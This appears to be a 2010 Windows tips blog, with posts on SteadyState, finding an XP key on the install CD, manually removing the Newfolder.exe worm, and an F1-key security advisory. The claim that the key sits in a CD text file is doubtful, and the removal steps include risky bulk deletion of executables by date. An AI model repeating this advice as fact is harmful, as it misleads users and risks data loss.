How can we revert all the changes made by user after the user log off or system restart, this is quite a custom requirement when the you want to remove all the changes being made to your computer made by any other user who had used your computer once in a while.

Removing all the changes made by the user will remove all the created files by that user and software being installed by the user, you can more over apply certain restrictions also on the users using your computer, all this can be achieved by a free utility by Microsoft called Steady State

Fix:

Steady State is on such tool which allows you to set computer restrictions, schedule software updates, and protect your hard disk contents to get changed.

Computer Restrictions Includes:

You can apply various restrictions like remove shutdown, turn off options from start menu, prevent users from creating folders on c drive and also prevent the use of USB storage devices to prevent virus infection

Protect Hard Disk From Changes
You can choose to changes done by the user at system restart or retain the changes temporarily

DOWNLOAD SteadyState HERE

To Find Windows XP Key Inside CD (Manually)

2010-09-05T16:56:00.001+05:30

Are you worried to remember your XP key.Its no more, here is a solution for it :).Your cd key is preserved in the cd itself.

Steps to follow to find Windows XP CD key:

1. Bring your Windows XP CD and insert it into your computer’s CD/DVD ROM/ RAM.

2. Now, browse your Windows XP CD and find the folder I386.

3. Inside I386 folder, find the file named as unattended.txt.

4. Open unattended.txt by using notepad.

5. At last, keep scrolling of the opened file and you will get Windows XP CD key.

Removing Newfolder.exe Virus manually

2010-09-05T16:53:00.002+05:30

What is Newfolder.exe?
The real name of this virus is Iddono. This threat copies its file(s) to your hard disk. Its typical file name is Iddono. Then it creates new startup key with name Iddono and value newfolder.exe. You can also find it in your processes list with name newfolder.exe or Iddono.This virus is very difficult to eliminate manually, but you can find solution for removal below.

Manual Solution(if u dont have an anti-virus):

Step1:
1. Search for autorun.inf file. It is a read only file so you will have to change it to normal by right clicking the file , selecting the properties and un-check the read only option
2. Open the file in notepad and delete everything and save the file.

3. Now change the file status back to read only mode so that the virus could not get access again.
4. Autorun
5. Click start->run and type msconfig and click ok
6. Go to startup tab look for regsvr and uncheck the option click OK.
7. Click on Exit without Restart, cause there are still few things we need to do before we can restart the PC.
8. Now go to control panel -> scheduled tasks, and delete the At1 task listed there.

Step2:
1. Click on start -> run and type gpedit.msc and click Ok.
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3. If you are Windows XP Home Edition user you might not have gpedit.msc in that case download and install it from Windows XP Home Edition: gpedit.msc and then follow these steps.
4. Go to users configuration->Administrative templates->system
5. Find “prevent access to registry editing tools” and change the option to disable.
6. Opening the gate of castle: Group Edit Policies
7. Once you do this you have registry access back.

Step3:
1. Click on start->run and type regedit and click ok
2. Go to edit->find and start the search for regsvr.exe,
3. Launch the attack in the heart of castle: registry search
4. Delete all the occurrence of regsvr.exe; remember to take a backup before deleting. KEEP IN MIND regsvr32.exe is not to be deleted. Delete regsvr.exe occurrences only.
5. At one ore two places you will find it after explorer.exe in theses cases only delete the regsvr.exe part and not the whole part. E.g. Shell = “Explorer.exe regsvr.exe” the just delete the regsvr.exe and leave the explorer.exe

Step4:
1. Click on start->search->for files and folders.
2. Their click all files and folders
3. Type “*.exe” as filename to search for
4. Click on ‘when was it modified ‘ option and select the specify date option
5. Type from date as 1/31/2008 and also type To date as 1/31/2008
6. Seek and destory enemy soldiers: the search option
7. Now hit search and wait for all the exe’s to show up.
8. Once search is over select all the exe files and shift+delete the files, caution must be taken so that you don’t delete the legitimate exe file that you have installed on 31st January.
9. Also selecting lot of files together might make your computer unresponsive so delete them in small bunches.
10. Also find and delete regsvr.exe, svchost .exe( notice an extra space between the svchost and .exe)

Step5:
1. Now do a cold reboot (ie press the reboot button instead) and you are done.

Does Websites Asks To Press F1 Key ? DON’T PRESS IT

2010-09-05T16:46:00.002+05:30

Microsoft has been reported of a vulnerability discovered in Windows operating systems Windows XP, Windows 2000 and Windows Server 2003 which exploits the VB Script. Microsoft has recently released an Advisory named “Microsoft Security Advisory (981169)”

As per the advisory there is a vulnerability that if a user presses F1 Key on being asked by a Website or webpage, the website can run potentially malicious code or script on such computers. That computer can get hacked, information can be stolen or it may also lead to data theft.

It is an advice to all our readers and Windows XP, Windows 2002 and Windows 2003 Server users to beware of this vulnerability and do not press the F1 Key when asked by a website. This may leave your computer unsecured or infected with virus or trojans.

Even if you are a Windows Vista User or Windows 7 or Windows Server 2008 user, its a safety tip to not click F1 Key when asked by a website.